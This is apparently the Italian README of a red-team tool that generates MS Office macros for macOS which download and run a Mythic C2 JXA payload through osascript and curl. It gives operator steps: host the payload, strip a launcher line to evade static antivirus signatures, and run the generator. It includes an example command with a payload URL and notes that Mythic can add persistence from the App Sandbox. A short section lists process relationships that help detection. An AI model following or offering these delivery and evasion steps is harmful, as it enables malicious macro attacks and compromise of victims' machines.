cedowens/mythic-macro-generatorScript Python3 per generare una macro per lanciare un payload Mythic. Autore: Cedric Owens
Script Python3 per generare macro di MS Office per lanciare payload JXA di Mythic.
Questo script genera una macro di Office che utilizza osascript per scaricare ed eseguire il payload JXA .js di Mythic.
Passaggi:
Configura il server C2 Mythic e genera un payload jxa "apfell" (nota: questo generatore assume che il payload utilizzi http e non https... se invece usi https, puoi semplicemente modificare lo script del generatore in modo che curl usi https). Scarica quel payload sul server Mythic.
Rimuovi la prima riga del launcher JXA .js di Mythic ("// Created by Cody Thomas - @its_a_feature_"). È noto che alcune firme A/V statiche controllano questa stringa. Ospita quel payload (es: metti il payload .js in una cartella e usa python -m SimpleHTTPServer per ospitarlo).
Esegui questo generatore di macro:
python3 jxa-macro.py -u [url del payload .js ospitato al punto #2 sopra]
esempio: python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js
Il testo della macro verrà salvato in un file nella stessa directory chiamato "macro.txt"
Copia e incolla quella macro in un documento di MS Office.
Rilevamento:
Questa macro genera le seguenti relazioni genitore-figlio che possono essere utilizzate per il rilevamento:
Prodotto Office (es: Microsoft Word.app) --> /bin/sh
Prodotto Office (es: Microsoft Word.app) --> /bin/bash
Prodotto Office (es: Microsoft Word.app) --> /usr/bin/curl
Nota: Questo lancerà il payload JXA all'interno dell'App Sandbox. Tuttavia, Mythic ha la capacità di aggiungere la persistenza di Login Item anche dall'App Sandbox.
